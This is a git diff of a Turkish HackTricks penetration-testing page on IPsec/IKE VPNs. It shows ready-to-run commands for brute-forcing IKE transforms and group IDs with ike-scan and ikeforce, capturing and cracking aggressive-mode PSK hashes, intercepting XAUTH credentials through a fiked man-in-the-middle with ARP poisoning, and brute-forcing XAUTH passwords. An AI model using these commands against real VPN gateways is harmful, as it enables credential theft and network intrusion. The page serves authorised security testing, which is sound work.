IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** içeren bir dizi özelliği içerir. IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, anahtar **dağıtım algoritması** olarak Diffie-Hellman 1 veya 2 ve 28800 saniye olarak **ömür** gibi birçok özelliği içerir.
Dolayısıyla yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak **geçerli bir dönüşüm bulmaktır**. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde **sekiz dönüşüm bulunan tek bir teklifle** bir paket gönderir. Bu nedenle, yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak **geçerli bir dönüşüm bulmaktır**. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde **sekiz dönüşüm bulunan tek bir teklifle** bir paket gönderir.
Yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz: Yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz:
``` ```
@ -61,30 +61,30 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
``` ```
Görüldüğü gibi önceki yanıtta **AUTH** adında bir alan ve değeri **PSK** olan bir alan var. Bu, vpn'nin bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\ Eski yanıtta görebileceğiniz gibi, **AUTH** adında bir alan var ve değeri **PSK**. Bu, vpn'in bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\
**Son satırın değeri de çok önemlidir:** **Son satırın değeri de çok önemlidir:**
* _0 dönüş el sıkışması; 0 dönüş bildirimi:_ Bu, hedefin **bir IPsec ağ geçidi olmadığını** gösterir. * _0 dönüş el sıkışması; 0 dönüş bildirimi:_ Bu, hedefin **bir IPsec ağ geçidi olmadığını** gösterir.
* _**1 dönüş el sıkışması; 0 dönüş bildirimi:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu ve önerdiğiniz dönüşlerden bir veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüş çıktıda gösterilecektir). * _**1 dönüş el sıkışması; 0 dönüş bildirimi:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu ve önerdiğiniz dönüşlerden bir veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüş çıktıda gösterilecektir).
* _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerilen dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir teklif denemelisiniz). * _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerdiğiniz dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir öneri denemelisiniz).
Bu durumda zaten geçerli bir dönüşümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekir:** Bu durumda zaten geçerli bir dönüşümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekir:**
Öncelikle tüm olası dönüşümleri oluşturmanız gerekmektedir: Öncelikle tüm olası dönüşümleri oluşturmanız gerekmektedir:
```bash ```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
``` ```
Ve ardından her birini ike-tarama kullanarak kaba kuvvet saldırısı yapın (bu birkaç dakika sürebilir): Ve ardından her birini ike-scan kullanarak kaba kuvvet saldırısı yapın (bu birkaç dakika sürebilir):
```bash ```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
Eğer brute-force çalışmadıysa, belki sunucu geçerli dönüşümlere bile el sıkışmalar olmadan yanıt veriyor. O zaman aynı brute-force'u dene ancak agresif modu kullanarak: Eğer brute-force çalışmadıysa, belki sunucu el sıkışmalar olmadan bile geçerli dönüşümlere yanıt veriyor. O zaman aynı brute-force'u dene ancak agresif modu kullanarak:
```bash ```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
Umarım **geçerli bir dönüşüm yansıtılır**.\ Umarım **geçerli bir dönüşüm yansıtılır**.\
Aynı saldırıyı [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak deneyebilirsiniz.\ Aynı saldırıyı yapmayı deneyebilirsiniz [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak.\
Ayrıca [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile dönüşümleri kaba kuvvet uygulayabilirsiniz: Ayrıca dönüşümleri kaba kuvvet saldırısıyla deneyebilirsiniz [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash ```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help ./ikeforce.py <IP> # No parameters are required for scan -h for additional help
``` ```
@ -92,11 +92,11 @@ Ayrıca [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile dönüşümle
**DH Grubu: 14 = 2048-bit MODP** ve **15 = 3072-bit** olarak belirtilir. **2 = HMAC-SHA = SHA1** (bu durumda). `--trans` formatı ise $Enc,$Hash,$Auth,$DH şeklindedir. **DH Grubu: 14 = 2048-bit MODP** ve **15 = 3072-bit** olarak belirtilir. **2 = HMAC-SHA = SHA1** (bu durumda). `--trans` formatı ise $Enc,$Hash,$Auth,$DH şeklindedir.
Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin**, bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanmaktadır. Bu, kodları hızlıca kırmak için onları hazırlayan özel bir yöntem kullanılarak gerçekleştirilir. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, şifrelenmiş verileri gerçek zamanlı olarak okumalarına izin verir (örneğin 1,024-bit veya daha küçük bir grup kullanılıyorsa). Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin**, bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanmaktadır. Bu, kodları hızlıca kırmak için onları hazırlayan özel bir yöntem kullanılarak gerçekleştirilir. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, veriler şifrelenmişse ve zayıf bir grup kullanılıyorsa (örneğin 1,024-bit veya daha küçük), bu verileri gerçek zamanlı olarak okumalarına olanak tanır.
### Sunucu parmak izi alma ### Sunucu parmak izi alma
Daha sonra, cihazın **üreticisini keşfetmek** için ike-tarama kullanabilirsiniz. Aracı, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidi üreticisini başarılı bir şekilde belirleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır. Daha sonra, cihazın **üreticisini keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidinin üreticisini başarılı bir şekilde belirleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır.
Gerekirse geçerli dönüşümü belirtin (using --trans) Gerekirse geçerli dönüşümü belirtin (using --trans)
@ -124,10 +124,10 @@ Bu ayrıca nmap betiği _**ike-version**_ ile de başarılabilir.
## Doğru Kimliği (grup adını) Bulma ## Doğru Kimliği (grup adını) Bulma
Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmiyorsunuz, bu yüzden onu kaba kuvvetle bulmanız gerekecek.\ Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmeyeceksiniz, bu yüzden bunu kaba kuvvet uygulayarak bulmanız gerekecek.\
Bunu yapmak için size 2 yöntem öneririm: Bunu yapmak için size 2 yöntem öneririm:
### ike-scan ile Kimlik Kaba Kuvvet Atağı ### ike-scan ile Kimliği Kaba Kuvvet Yöntemi
Öncelikle, hash'i toplamayı deneyerek sahte bir kimlikle bir istekte bulunun ("-P"): Öncelikle, hash'i toplamayı deneyerek sahte bir kimlikle bir istekte bulunun ("-P"):
```bash ```bash
@ -139,7 +139,7 @@ Eğer **hiçbir hash döndürülmezse**, o zaman muhtemelen bu kaba kuvvet sald
Ancak dediğim gibi, hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup adlarını kaba kuvvetle denemelisiniz. Ancak dediğim gibi, hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup adlarını kaba kuvvetle denemelisiniz.
Bu betik **mümkün olası kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışma döndürülen kimlikleri (bu geçerli bir grup adı olacaktır) geri döndürecektir. Bu betik **mümkün olan kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışması döndürülen kimlikleri geri döndürecektir (bu geçerli bir grup adı olacaktır).
Belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bunlardan biri düzgün çalışana kadar hepsini denemelisiniz). Belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bunlardan biri düzgün çalışana kadar hepsini denemelisiniz).
@ -153,18 +153,17 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
### ikeforce ile ID'nin Bruteforce Edilmesi ### ikeforce ile ID'nin Bruteforce Edilmesi
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz ID'leri ayırt etmek için kullanılabilecek farklı zayıflıkları sömürmeye çalışacaktır** (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini kullanmayı tercih ederim). [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz bir ID arasındaki farkı belirlemek için** (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini tercih ederim).
Varsayılan olarak **ikeforce**, başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele ID'ler gönderecektir. Varsayılan olarak **ikeforce**, sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için başlangıçta bazı rastgele ID'ler gönderecektir.
* **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi, grup adı doğruysa sunucu tarafından yalnızca yanıtlanır). * **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi yalnızca grup adı doğru olduğunda sunucu tarafından yanıtlanır).
* Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol etmektir, çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir. * Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol eder çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir.
* **Üçüncü yöntem**, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır. * **Üçüncü yöntem**, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır.
* Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, **ikeforce** sunucuyu bruteforce etmeye çalışacak ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir. * Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, **ikeforce** sunucuyu bruteforce edecek ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir.\
ıkça, ID'yi bruteforce etme amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** almak içindir. Ardından, **ID** ve **PSK** ile XAUTH'ı bruteforce etmeniz gerekecektir.
ıkça, ID'yi bruteforce etme amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** elde etmektir. Ardından, **ID** ve **PSK** ile **XAUTH'ı** bruteforce etmeniz gerekecektir. Eğer belirli bir dönüşüm keşfettiyseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (doğru çalışana kadar hepsini denemelisiniz).
Eğer belirli bir dönüşüm keşfetmişseniz, bunu ikeforce komutuna ekleyin. Ve eğer birden fazla dönüşüm keşfetmişseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (doğru çalışana kadar hepsini denemelisiniz).
```bash ```bash
git clone https://github.com/SpiderLabs/ikeforce.git git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -179,46 +178,44 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
![](<../.gitbook/assets/image (111).png>) ![](<../.gitbook/assets/image (111).png>)
## Hash'in Yakalanması ve Kırılması ## Hash yakalama ve kırma
Son olarak, Eğer bir **geçerli dönüşüm** ve **grup adı** bulduysanız ve **saldırgan mod izin veriliyorsa**, o zaman kırılabilir hash'i çok kolayca yakalayabilirsiniz: Son olarak, Eğer bir **geçerli dönüşüm** ve **grup adı** bulduysanız ve **saldırgan mod izin veriliyorsa**, o zaman çok kolayca kırılabilir hash'i yakalayabilirsiniz:
```bash ```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
``` ```
Hash, _hash.txt_ dosyasının içine kaydedilecektir. Hash değeri _hash.txt_ dosyasının içine kaydedilecektir.
Hash'i **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz: Hash değerini **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz:
```bash ```bash
psk-crack -d <Wordlist_path> psk.txt psk-crack -d <Wordlist_path> psk.txt
``` ```
## **XAuth** ## **XAuth**
**Agresif mod IKE** genellikle **grup kimlik doğrulama** amaçları için **Ön Paylaşılan Anahtar (PSK)** ile birleştirilir. Bu yöntem, **Genişletilmiş Kimlik Doğrulama (XAuth)** tarafından desteklenir ve ek bir **kullanıcı kimlik doğrulama** katmanı ekler. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetlerden yararlanır. **Agresif mod IKE** genellikle **grup kimlik doğrulama** amaçları için **Ön Paylaşılan Anahtar (PSK)** ile birleştirilir. Bu yöntem, **Genişletilmiş Kimlik Doğrulama (XAuth)** ile desteklenir ve ek bir **kullanıcı kimlik doğrulama** katmanı ekler. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetlerden yararlanır.
**IKEv2'ye** geçişte, kullanıcıların kimlik doğrulaması amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığında dikkate değer bir değişiklik görülür. Bu değişiklik, güvenli iletişim protokollerinde kimlik doğrulama uygulamalarında bir evrimi vurgular. **IKEv2'ye** geçişte, kullanıcıları doğrulamak amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığı gözlemlenir. Bu değişiklik, güvenli iletişim protokollerinde kimlik doğrulama uygulamalarında bir evrimi vurgular.
### Kimlik bilgilerini yakalamak için Yerel Ağ MitM ### Kimlik bilgilerini yakalamak için Yerel Ağ MitM
Böylece _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adının olup olmadığını görebilirsiniz (IKE trafiğini dinlemek için `fiked`'e yönlendirmeniz gerekmektedir, bu da ARP zehirlemesi ile yapılabilir, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır: Böylece, _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adı olup olmadığını görebilirsiniz (IKE trafiğini `fiked`'e yönlendirmeniz ve bu amaçla ARP zehirlemesi yapmanız gerekmektedir, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır:
```bash ```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d fiked -g <IP> -k testgroup:secretkey -l output.txt -d
``` ```
### MitM saldırısı yapmak için IPSec'i kullanarak, tünel oluşturulamazsa trafiğin açık bir şekilde gönderilebileceği port 500'e tüm trafiği engelleyin. ### ikeforce ile XAUTH kullanıcı adı ve şifrelerinin kaba kuvvet saldırısı
### ikeforce ile XAUTH kullanıcı adı ve şifresini kaba kuvvet saldırısıyla denemek
**XAUTH**'u (geçerli bir grup adı **id** ve **psk**'yi bildiğinizde) kaba kuvvet saldırısı yapmak için bir kullanıcı adı veya kullanıcı adı listesi ve bir şifre listesi kullanabilirsiniz: **XAUTH**'u (geçerli bir grup adı **id** ve **psk**'yi bildiğinizde) kaba kuvvet saldırısı yapmak için bir kullanıcı adı veya kullanıcı adı listesi ve bir şifre listesi kullanabilirsiniz:
```bash ```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1] ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
``` ```
Bu şekilde, ikeforce, her kullanıcı adı:şifre kombinasyonunu deneyerek bağlantı kurmaya çalışacaktır. Bu şekilde, ikeforce, her kullanıcı adı:şifre kombinasyonunu kullanarak bağlantı deneyecektir.
Eğer bir veya birkaç geçerli dönüş bulduysanız, bunları önceki adımlarda olduğu gibi kullanın. Eğer bir veya birkaç geçerli dönüş bulduysanız, bunları önceki adımlarda olduğu gibi kullanın.
## IPSEC VPN ile Kimlik Doğrulama ## IPSEC VPN ile Kimlik Doğrulama
Kali'de, IPsec tünelleri kurmak için **VPNC** kullanılır. **Profiller** dizini `/etc/vpnc/`inde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz. Kali'de, IPsec tünelleri kurmak için **VPNC** kullanılır. **Profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz.
Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklamaktadır: Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklamaktadır:
```bash ```bash
@ -238,13 +235,13 @@ Bu kurulumda:
- `[VPN_GATEWAY_IP]`'yi VPN ağ geçidinin gerçek IP adresi ile değiştirin. - `[VPN_GATEWAY_IP]`'yi VPN ağ geçidinin gerçek IP adresi ile değiştirin.
- `[VPN_CONNECTION_ID]`'yi VPN bağlantısının tanımlayıcısı ile değiştirin. - `[VPN_CONNECTION_ID]`'yi VPN bağlantısının tanımlayıcısı ile değiştirin.
- `[VPN_GROUP_SECRET]`'yi VPN'nin grup şifresi ile değiştirin. - `[VPN_GROUP_SECRET]`'ı VPN'in grup şifresi ile değiştirin.
- `[VPN_USERNAME]` ve `[VPN_PASSWORD]`'ı VPN kimlik doğrulama kimlik bilgileri ile değiştirin. - `[VPN_USERNAME]` ve `[VPN_PASSWORD]`'ı VPN kimlik doğrulama kimlik bilgileri ile değiştirin.
- `vpnc` başlatıldığında atanacak olan işlem kimliğini `[PID]` simgeler. - `vpnc` başlattığında atanacak olan işlem kimliğini `[PID]` sembolize eder.
VPN'i yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin kullanıldığından emin olun. VPN'yi yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin kullanıldığından emin olun.
## Referans Materyal ## Referans Materyali
* [PSK kırma makalesi](http://www.ernw.de/download/pskattack.pdf) * [PSK kırma makalesi](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
@ -257,20 +254,20 @@ VPN'i yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin k
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>AWS hackleme konusunu sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,11 +32,11 @@ PORT STATE SERVICE
``` ```
### Bağlantılar Aktif ve Pasif ### Bağlantılar Aktif ve Pasif
